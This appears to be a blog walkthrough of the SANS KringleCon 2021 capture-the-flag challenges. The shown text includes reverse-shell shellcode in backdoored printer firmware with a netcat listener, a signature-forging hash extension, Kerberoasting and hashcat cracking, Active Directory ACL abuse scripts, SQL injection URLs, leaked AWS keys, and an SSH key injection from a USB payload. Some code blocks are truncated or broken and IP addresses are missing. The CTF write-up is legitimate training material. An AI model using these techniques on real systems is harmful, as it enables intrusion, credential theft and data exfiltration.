Kringlecon 2021


For those that have never signed up or attempted the Xmas challenge before, the SANS institute asks a number of info-sec people (pentesters, red-teamers, blue-teamers, incident responders, soc analysts etc) to build creative challenges and related talks to encourage self learning and a little but of competetive fun Capture-The-Flage (CTF) during the xmas holidays.

You’re free to compete alone, or even team up. The exercises are ususally quite fun and you can end up developing some new skills.

More about the challenge can be found here:

Four Calling Birds




Listen children to a story that was written in the cold ‘Bout a Kringle and his castle hosting hackers, meek and bold Then from somewhere came another, built his tower tall and proud Surely he, our Frosty villain hides intentions ‘neath a shroud So begins Jack’s reckless mission: gather trolls to win a war Build a con that’s fresh and shiny, has this yet been done before? Is his Fest more feint than folly? Some have noticed subtle clues Running ‘round and raiding repos, stealing Santa’s Don’ts and Do’s Misdirected, scheming, grasping, Frost intends to seize the day Funding research with a gift shop, can Frost build the better sleigh? Lo, we find unlikely allies: trolls within Jack’s own command Doubting Frost and searching motive, questioning his dark demand Is our Jack just lost and rotten - one more outlaw stomping toes? Why then must we piece together cludgy, wacky radios? With this object from the heavens, Frost must know his cover’s blown Hearkening from distant planet! We the heroes should have known Go ahead and hack your neighbor, go ahead and phish a friend Do it in the name of holidays, you can justify it at year’s end There won’t be any retweets praising you, come disclosure day But on the snowy evening after? Still Kris Kringle rides the sleigh


1 KringleCon Orientation

Difficulty: 0/5

Get your bearings at KringleCon

1a) Talk to Jingle Ringford Difficulty: Jingle will start you on your journey!

1b) Get your badge Difficulty: Pick up your badge

1c) Get the wifi adapter Difficulty: Pick up the wifi adapter

1d) Use the terminal Difficulty: Click the computer terminal

2 Where in the World is Caramel Santaigo?

Difficulty: 1/5


  • Ribb Bonbowford
  • Piney Sappington

Help Tangle Coalbox find a wayward elf in the Speaker Unpreparedness room. Talk to Piney Sappington in Santa’s courtyard for hints.

Bounce around the world following the locations hinted to you, dont forget to use the Interink to filter down your suspect elves.

Eventually, there should be one elf on your list, and if you get your countries right, you will caught up to the elf.

Remember to log into the interlink, and use the clues to narrow down the Elf’s name, the Elf’s characteristics appear to be random each time we played?

Select the correct elf’s name to win the Game

Some hints, to move to the right city:

  • Canada - Defile Noel
  • Czech - Vánoční trhy
  • Denmark - Tivoli Gardens
  • Germany - Giant advent calender
  • London - What three word “frozen, pushed tamed”
  • New York - Big Xmas tree
  • Tokyo - Only milder vanilla

3 Thaw Frost Tower’s Entrance

Difficulty: 2/5

Hint: Greasy GopherGuts

Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle’s CLI interface. Talk to Greasy Gopherguts outside the tower for tips.

Wifi hacking:

elf@52ea043dcdcf:~$ iwlist wlan0 scan
wlan0     Scan completed :
          Cell 01 - Address: 02:4A:46:68:69:21
                    Frequency:5.2 GHz (Channel 40)
                    Quality=48/70  Signal level=-62 dBm  
                    Encryption key:off
                    Bit Rates:400 Mb/s

$ iwconfig wlan0 mode managed essid 'FROST-Nidus-Setup'
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)

WARNING Your Nidus Thermostat is not currently configured! Access to this
device is restricted until you register your thermostat » /register. Once you
have completed registration, the device will be fully activated.

In the meantime, Due to North Pole Health and Safety regulations
42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.


The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc

The API endpoints are accessed via:

  • http://nidus-setup:8080/api/

Utilize a GET request to query information; for example, you can check the temperatures set on your cooler with:

  • curl -X GET http://nidus-setup:8080/api/cooler

Utilize a POST request with a JSON payload to configuration information; for example, you can change the temperature on your cooler using:

curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": -40}' \

Available endpoints

│ Path                        │ Available without registering? │ 
│ /api/cooler                 │ Yes                            │ 
│ /api/hot-ice-tank           │ No                             │ 
│ /api/snow-shower            │ No                             │ 
│ /api/melted-ice-maker       │ No                             │ 
│ /api/frozen-cocoa-dispenser │ No                             │ 
│ /api/toilet-seat-cooler     │ No                             │ 
│ /api/server-room-warmer     │ No                      


curl -XPOST -H 'Content-Type: application/json' --data-binary '{"temerature": 40}'   http://nidus-setup:8080/api/cooler
  "temperature": 40.88,
  "humidity": 57.34,
  "wind": 20.82,
  "windchill": 46.39,

4 Slot Machine Investigation

Difficulty: 2/5

Test the security of Jack Frost’s slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa’s Castle for help.

Essentially, this one is parameter tampering

Vulnerable parameter

  • numline
numline = -20

then you always win!


I'm going to have some bouncer trolls bounce you right out of this casino!

5 Strange USB Device

Difficulty: 2/5

Hint: Jewel Loggins

Assist the elves in reverse engineering the strange USB device. Visit Santa’s Talks Floor and hit up Jewel Loggins for advice.

Location: Unprepardness room

ls /mnt/USBDEVICE/
  • we recognise this - a ducky inject.bin file!
  • look in ~
ls ~

mallard is a known tool (python) similar to the; hehe, this is easy…

./ /mnt/USBDEVICE/inject.bin

reverse & b64 decode

echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK' >> ~/.ssh/authorized_keys



6 Shellcode Primer

Difficulty: 3/5

Hint: Chimney Scissorsticks

Complete the Shellcode Primer in Jack’s office. According to the last challenge, what is the secret to KringleCon success? “All of our speakers and organizers, providing the gift of __, free to the community.” Talk to Chimney Scissorsticks in the NetWars area for hints.


mov rax, 0
mov rbx, 1
mov rcx, 2
mov rdx, 3
mov rsi, 4
mov rdi, 5
mov rbp, 6

; Push and pop - watch how the stack changes!
push 0x12345678
pop rax

push 0x1111
push 0x2222
push 0x3333
pop rax
pop rax
pop rax

; This creates a string and references it in rax - watch the debugger!
call getstring
  db "Hello World!",0
pop rax

; Finally, return 0x1337
mov rax, 0x1337


mov rax, 5

; Top of the loop
  ; Decrement rax
  dec rax

  ; Jump back to the top until rax is zero
  jnz top

; Cleanly return after the loop

Getting Started


Returning a Value

mov rax, 1337

System calls

mov rax,60
mov rdi, 99
; Perform the actual syscall

Calling into the Void

push 0x12345678

; Try to return

Getting RIP

call place_below_the_nop
pop rax
; Return from our code, as in previous levels

Hello World!

call my_jump
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!

Hello World!!

call my_jump
db 'Hello World!',0

pop rbx
mov rax,1
mov  rdi, 1
mov  rsi, rbx
mov  rdx, 0xc 

; Perform the syscall

Opening a File

call my_file
db '/etc/passwd',0
pop rbx
; Set up a call to sys_open
mov rax,2
mov rdi,rbx
mov rsi,0
mov rdx,0
; Perform the syscall

; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!

Reading a File

call var1
db '/var/northpolesecrets.txt',0
pop rbx

mov rax,2
mov rdi,rbx
mov rsi,0
push rsp

sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xff; size to read
xor rax, rax

mov rax,1
mov  rdi, 1
mov rsi, rsp
mov  rdx, 0xff
; TODO: Call sys_exit
mov rax, 0x3c


cyber security knowledge

7 Printer Exploitation

Difficulty: 4/5

Hint: Ruby Cyster

Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack’s office for help with this objective.


We can download a copy of the current firmware

The firmware is contained within a JSON file, opening the file and extracting the firmware string, we can base64 decocde this firmware, discover its a zip file…

  • IMPORTANT save the zip file as original_zip as we will use this again shortly.

… and then unzip it to access the raw binary code.

Analysing the firmware using your prefered tooling from the list below

  • Ghidra
  • file
  • objdump
  • radare
  • IDA

You will learn that the executable is an ELF binary compiled for a 64bit machine architecture. That simply prints the string

firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped

Running the elf:

Firmware is fully up to date!

Lets code our own firmware… below is some shellcode to return a reverse shell to a cloud vm:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#define SHELLCODE "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x01\xbb\xc7\x44\x24\x04\x36\xa7\x97\x15\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

int main(){
  unsigned char * code=(unsigned char*)mmap(NULL,1024,PROT_WRITE|PROT_READ, MAP_ANONYMOUS|MAP_SHARED, -1, 0);
  goto *code;
  return 0;
gcc firmware.c -o firmware.bin
zip firmware.bin

convert to hex 0000000 not \x00\x00

xxd -p|tr -d '\n'
 ./hash_extender --file ../original_zip -f sha256 -l 16 -s e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23  --append=[zipped backdoor as hex] --append-format=hex
  • take signature and replace the one in the firmware.json
  • take hex and base64 encode before replacing in firmware.json

Now start a reverse listener, and upload the new firmware to the printer.

Starting a netcat listener on 443, make sure you unlock this port on your firewall:

nc -l 443

After uploading our backdoored firmware to the printer, we get a green success message! We check our listener to see our shell:

cat /var/spool/printer.log
Documents queued for printing

Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml



8 Kerberoasting on an Open Fire

Difficulty: 4/5

Hint: Eve Snowshoes

Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa’s office for hints.


Checking the registration page source, we observe this bizzare comment:

Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021, v0calprezents, Hexatonics, and reindeers4fears. Wow, good times! 

This could be handy for later???

Once registered you will be given the following ssh string and valid credentials

  • ssh -p 2222

You will find yourself in a console based program and will need to perfrom a breakout

Testing the CTRL-D escape worked leaving us with


A python prompt!

Next we use the following python one-liner to drop to a shell:

import pty;pty.spawn("/bin/bash")

At this point you can obtain a proper ssh session (to use scp etc) by executing the following:

chsh $USER -s /bin/bash

Running arp - a we can see the following IPs

? ( at 02:42:c9:87:06:32 [ether] on eth0
? ( at 02:42:ac:11:00:05 [ether] on eth0
? ( at 02:42:ac:11:00:03 [ether] on eth0
? ( at 02:42:ac:11:00:04 [ether] on eth0

We have nmap installed so lets see what services we can reach:

Nmap scan report for (SSH)
22/tcp   open  ssh          syn-ack
80/tcp   open  http         syn-ack
2222/tcp open  EtherNetIP-1 syn-ack

Nmap scan report for
Host is up, received conn-refused (0.00030s latency).
Scanned at 2021-12-12 14:15:41 UTC for 2s
Not shown: 998 closed ports
Reason: 998 conn-refused
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Nmap scan report for sometimes this is x.x.x.05
Host is up, received conn-refused (0.00028s latency).
Scanned at 2021-12-12 14:15:41 UTC for 2s
Not shown: 988 closed ports
Reason: 988 conn-refused
42/tcp   open  nameserver       syn-ack
53/tcp   open  domain           syn-ack
88/tcp   open  kerberos-sec     syn-ack
135/tcp  open  msrpc            syn-ack
139/tcp  open  netbios-ssn      syn-ack
389/tcp  open  ldap             syn-ack
445/tcp  open  microsoft-ds     syn-ack
464/tcp  open  kpasswd5         syn-ack
636/tcp  open  ldapssl          syn-ack
1024/tcp open  kdm              syn-ack
3268/tcp open  globalcatLDAP    syn-ack
3269/tcp open  globalcatLDAPssl syn-ack

Nmap scan report for
Reason: 998 conn-refused
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Nmap scan report for (REGISTRATION BOX)
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

RPC Enumeration

We can target the DC ( port 445 view any accessible shares, and use rpc to enumerate the server.

Obtaining the domainname is always useful:

rpcclient $> enumdomains
name:[ELFU] idx:[0x0]
name:[BUILTIN] idx:[0x1]

or for the full name:

rpcclient $> dsenumdomtrusts
1 domains returned
elfu.local (ELFU)
Retrieve User list

Below is the output of enumerating users:

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[admin] rid:[0x3e8]
user:[elfu_admin] rid:[0x450]
user:[elfu_svc] rid:[0x451]
user:[remote_elf] rid:[0x452]

We can see an elfu_svc account, we can probably obtain its ticket my using impacket.

We can find the some of the impacket tools at /usr/local/bin/

Get User SPNs

$  elfu.local/tnlugazjuj:'Hvrxiapnp#' -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2021-12-13 18:09:22.182406             
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2021-12-13 18:09:22.182406             
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2021-12-13 18:09:22.182406             
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2021-12-13 18:09:22.182406             


Cracking the SPN

Google Colab offers free access to Jupyter notebooks for machine learning. We can use this feature to install and run hashcat to crack the captured kerberos ticket hash.

Below are the notes on how we altered the configuration to suit our needs


We modified the following settings to crack the SPN

rockyou = True
hashesorg2019 = False # huge wordlist (~12GB, ~6mins download)
quickrules = True # hob064.rule
extensiverules = True # d3adhob0.rule
wordlists + hashes
!wget<user>/fe88597cd04f3a00cb282d3f237d9c0b/raw/8a7b5a1f955b8b942e542a6c9e3985ca62b98c8d/gistfile1.txt -O hash
!wget<user>/6e7ee072b5b2422670689980c0519c66/raw/db0faed7765d924640d40a8d8df180ef1d1c997f/gistfile1.txt -O dict.txt
!hashcat -m 13100 --force --rules-file OneRuleToRuleThemAll.rule hash dict.txt

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_sv...0e30c2
Time.Started.....: Mon Dec 13 19:07:37 2021, (3 mins, 1 sec)
Time.Estimated...: Mon Dec 13 19:10:38 2021, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Mod........: Rules (rules/d3adhob0.rule)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 14576.1 kH/s (6.92ms) @ Accel:32 Loops:8 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 2670759936/825375855360 (0.32%)
Rejected.........: 0/2670759936 (0.00%)
Restore.Point....: 39936/14344384 (0.28%)
Restore.Sub.#1...: Salt:0 Amplifier:28000-28008 Iteration:0-8
Candidate.Engine.: Device Generator
Candidates.#1....: Power122020* -> Soydivina2021^
Hardware.Mon.#1..: Temp: 73c Util: 96% Core: 875MHz Mem:2505MHz Bus:16

Started: Mon Dec 13 19:07:36 2021
Stopped: Mon Dec 13 19:10:38 2021

Attempted psexec, but it fails? elfu.local/elfu_svc@
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on
[-] share 'netlogon' is not writable.
[-] share 'sysvol' is not writable.
[-] share 'elfu_svc_shr' is not writable.
[-] share 'research_dep' is not writable.

SMB Enumeration

We can use smbclient to list shares, first on the DC:

$ smbclient -L \\elfu.local
Enter WORKGROUP\pkrkrdufps's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

Secondly, on the fileserver:

smbclient -L \\
Enter WORKGROUP\pkrkrdufps's password: 

	Sharename       Type      Comment
	---------       ----      -------
	netlogon        Disk      
	sysvol          Disk      
	elfu_svc_shr    Disk      elfu_svc_shr
	research_dep    Disk      research_dep
	IPC$            IPC       IPC Service (Samba 4.3.11-Ubuntu)
SMB1 disabled -- no workgroup available

elfu_svc_shr Disk elfu_svc_shr this looks interesting…

Opening the share with smbclient provides a number of powershell scripts. We can then download them, and search them for secrets:

smbclient \\\\\\elfu_svc_shr -U elfu_svc
Enter elfu_svc@ELFU.LOCAL's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Mon Dec 13 08:01:30 2021
  Get-NavArtifactUrl.ps1              N     2018  Wed Oct 27 19:12:43 2021
  Get-WorkingDirectory.ps1            N      188  Wed Oct 27 19:12:43 2021
  Stop-EtwTraceCapture.ps1            N      924  Wed Oct 27 19:12:43 2021

mget *

First, a simple search for admin:

$ grep -i admin *
LabConfig.ps1:        DomainAdminName="LabAdmin";  
LabConfig.ps1:        AdminPassword="LS1setup!"; 

But this is a red-herring!

Grepping for Password we find the following interesting file:

> cat  GetProcessInfo.ps1
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate
> $aPass = $SecStringPassword |ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
> $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)  
> $aCred.GetNetworkCredential().Password


Altering the last line of GetProcessInfo.ps1 to:

Enter-PSSession -ComputerName -Credential $aCred -Authentication Negotiate

We can then successfully get a remote powershell session on the DC!

> ./GetProcessInfo.ps1
[]: PS C:\Users\remote_elf\Documents> 

Sadly we cant find a route to domain admin, there must be another way…]: PS > $ADSI = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=elfu,DC=local"                     
[]: PS > $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])

ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : BUILTIN\Administrators
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

ActiveDirectoryRights : CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\Domain Admins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Lets print out all the groups:

> get-adgroup -Filter * -SearchBase "DC=elfu,DC=local"|ft Name,DistinguishedName

Name                                    DistinguishedName                                                   
----                                    -----------------                                                   
DnsAdmins                               CN=DnsAdmins,CN=Users,DC=elfu,DC=local                              
DnsUpdateProxy                          CN=DnsUpdateProxy,CN=Users,DC=elfu,DC=local                         
Remote Management Domain Users          CN=Remote Management Domain Users,CN=Users,DC=elfu,DC=local         
Research Department                     CN=Research Department,CN=Users,DC=elfu,DC=local                    
File Shares                             CN=File Shares,CN=Computers,DC=elfu,DC=local   

Research Department looks interesting lets check if we have any permissions for it….

Checking permissions on the “Research Department” Group, we can see we the the WriteDacl permission:

$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Next the powershell code, we use you give our flat account “Generic Read”:

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "tnlugazjuj"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "tnlugazjuj"
$password = "PASSWORD_HERE"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$b=New-Object byte[] $sid.BinaryLength

Jump back to the linux shell and we can now test our flat account permissions against the research share:

smbclient \\\\\\research_dep
Enter WORKGROUP\pkrkrdufps's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Thu Dec 16 08:01:34 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

		41089256 blocks of size 1024. 34826272 blocks available

> get SantaSecretToAWonderfulHolidaySeason.pdf 

If you followed you methodology, you can now scp the pdf to your local machine, or use base64 to exfiltrate it from the console!



9 Splunk!

Difficulty: 3/5

Hints: Fitzy Shortstack

Help Angel Candysalt solve the Splunk challenge in Santa’s great hall. Fitzy Shortstack is in Santa’s lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?

1) Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventID=1 git |stats count by CommandLine|sort - count


git status

2) Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the ‘partnerapi’ repo. The correct one!

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventID=1 partnerapi origin|stats count by CommandLine


3) The ‘partnerapi’ project that Eddie worked on uses Docker. Gather the full docker command line that Eddie used to start the ‘partnerapi’ project on his workstation.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventID=1 partnerapi "docker" AND NOT iptables |stats count by CommandLine


docker compose up

4) Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.

  • then follow to original repo Answer:

5)Santa asked Eddie to add a JavaScript library from NPM to the ‘partnerapi’ project. Determine the name of the library and record it here for our workshop documentation.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 partnerapi npm|table CommandLine



6) Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443)|table process_name



7) Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don’t indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 ParentProcessId=6788
  • count the files



8) Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1  /home/eddie/partnerapi/node_modules/holiday-utils-js|table CommandLine


Final Objective:

Santa calls you a….


10 Now Hiring!

Difficulty: 3/5

What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack’s bathroom to get hints from Noxious O. D’or.

Your name, generates an image on the following page after submitting the form (images/.jpg )


	"Code": "Success",
	"LastUpdated": "2021-05-02T18:50:40Z",
	"Type": "AWS-HMAC",
	"SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
	"Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
	"Expiration": "2026-05-02T18:50:40Z"



11 Customer Complaint Analysis

Difficulty: 2/5

Hint: Tinsel Upatree

A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.

Pcap analysis…


  • ip.flags.rb

ws filter:


and we can see room 1024 complaining about trolls:

Form item: “description” = “I have never, in my life, been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost!”

So lets look for trolls complaints about room 1024

Wireshark filter:

frame[66:45] == 50:4f:53:54:20:2f:66:65:65:64:62:61:63:6b:2f:67:75:65:73:74:5f:63:6f:6d:70:6c:61:69:6e:74:2e:70:68:70:20:48:54:54:50:2f:31:2e:31:0d:0a

Reading the form contents we can see trolls complaining about a rude woman in room 1024

  • 276 Yaqh
  • 312 Flud
  • 348 Hagg

We can also do this in python

from scapy.* import all

packets = rdpcap('./Downloads/jackfrosttower-network.pcap')

for packet in packets:
   if packet.haslayer(Raw):
     a="".join(map(chr, bytes(packet)))
     result = re.findall('1024', a)
     if result:'name=(.*)\&troll.*1024.*description=(.*)\&', a)
       print(unquote(": "+unquote('+',' '))

Yaqh: Lady call desk and ask for more towel. Yaqh take to room. Yaqh ask if she want more towel because she is like to steal. She say Yaqh is insult. Yaqh is not insult. Yaqh is Yaqh.
Flud: Lady call front desk. Complain "employee" is rude. Say she is insult and want to speak to manager. Send Flud to room. Lady say troll call her towels thief. I say stop steal towels if is bother her.
Hagg: Lady call front desk. I am walk by so I pick up phone. She is ANGRY and shout at me. Say she has never been so insult. I say she probably has but just didn't hear it.
Muffy+VonDuchess+Sebastian: I have never, in my life, been in a facility with such a horrible staff. They are rude and insulting. What kind of place is this? You can be sure that I (or my lawyer) will be speaking directly with Mr. Frost!


Flud Hagg Yaqh

12 Frost Tower Website Checkup

Difficulty: 5/5

Hint: Ribb Bonbowford

Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you.

For those not so good at reading code this application might help pin-point vulnerable functions:

To successfully exploit the application, we need to find to things

  • Obtain a valid session, through an application bug
  • Exploit a non-parametrised and unescaped SQL query

Getting a Session

Looking at the code under postcontact:

 tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){
 var rowlength = rows.length;
        if (rowlength >= "1"){
            session = req.session;
            session.uniqueID = email;
            req.flash('info', 'Email Already Exists');

This means that if a email already exists in the database, you will be given a valid session to progress to the next stage

Exploiting an SQLi

Vulnerable code:

app.get('/detail/:id', function(req, res, next) {
if (session.uniqueID){

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                query += "?";
                query = "SELECT * FROM uniquecontact WHERE id=?"
        } catch (error) {
            return res.sendStatus(500);

Since the sql injection is very tricky, you may want to read this blog post, that exploits a similar injection:

After, locating the vulnerable sql function/page, injection can be triggered like so:,4%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(select%203)c%20join%20(select%204)d%20join%20(select%205)e%20join%20(select%206)f%20join%20(select%207)g%20--%20;

Obtaining the SQL Database version:,4%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(select%20version())c%20join%20(select%204)d%20join%20(select%205)e%20join%20(select%206)f%20join%20(select%207)g%20--%20;

